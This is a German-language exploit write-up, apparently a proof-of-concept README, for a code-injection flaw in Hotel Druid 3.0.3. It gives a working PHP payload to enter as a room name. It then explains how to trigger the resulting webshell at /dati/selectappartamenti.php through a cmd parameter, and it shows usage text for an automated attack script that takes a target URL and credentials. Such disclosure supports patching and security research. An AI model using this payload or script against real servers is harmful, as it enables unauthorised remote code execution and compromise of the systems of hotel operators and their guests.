
Hotel Druid 3.0.3 – Code-Injection zu Remote-Code-Ausführung
Eine Code-Injection-Sicherheitslücke wurde in der Anwendung Hotel Druid v3.0.3 gefunden, die ein Angreifer ausnutzen könnte, um Remote-Code auf dem Server auszuführen.
Für eine erfolgreiche Ausnutzung muss ein Angreifer die Berechtigung haben, einen neuen Raum hinzuzufügen.
Die Sicherheitslücke tritt auf, weil Raumnamen in einer Datei namens /dati/selectappartamenti.php mit doppelten Anführungszeichen gespeichert werden.
<?php
echo "
<option value=\"Room1\">Room1</option>
<option value=\"Room2\">Room2</option>
<option value=\"Room3\">Room3</option>
";
?>
Um eine erfolgreiche Ausnutzung durchzuführen, fügen Sie einen Raum mit folgendem Payload als Raumname hinzu.
{${system($_REQUEST[cmd])}}
Nachdem Sie einen neuen Raum hinzugefügt haben, gehen Sie zu /dati/selectappartamenti.php und lösen Sie die Webshell aus, indem Sie einen Befehl über den Parameter cmd übergeben.
usage: hotel-druid.py [-h] -t TARGET [-u USERNAME] [-p PASSWORD] [--noauth]
optional arguments:
-h, --help zeigt diese Hilfemeldung an und beendet
required arguments:
-t TARGET, --target TARGET
Ziel-URL. Beispiel: http://10.20.30.40/path/to/hoteldruid
-u USERNAME, --username USERNAME
Benutzername
-p PASSWORD, --password PASSWORD
Passwort
--noauth Wenn keine Authentifizierung erforderlich ist, um auf das Dashboard zuzugreifen
Wenn die Anwendung keine Authentifizierung hat.
Verwenden Sie das Flag --noauth, um keine Authentifizierung durchzuführen.

Wenn der Server die Authentifizierung aktiviert hat, verwenden Sie --username und --password, um die Authentifizierung durchzuführen.

Forscher und POC-Autor - 0z09e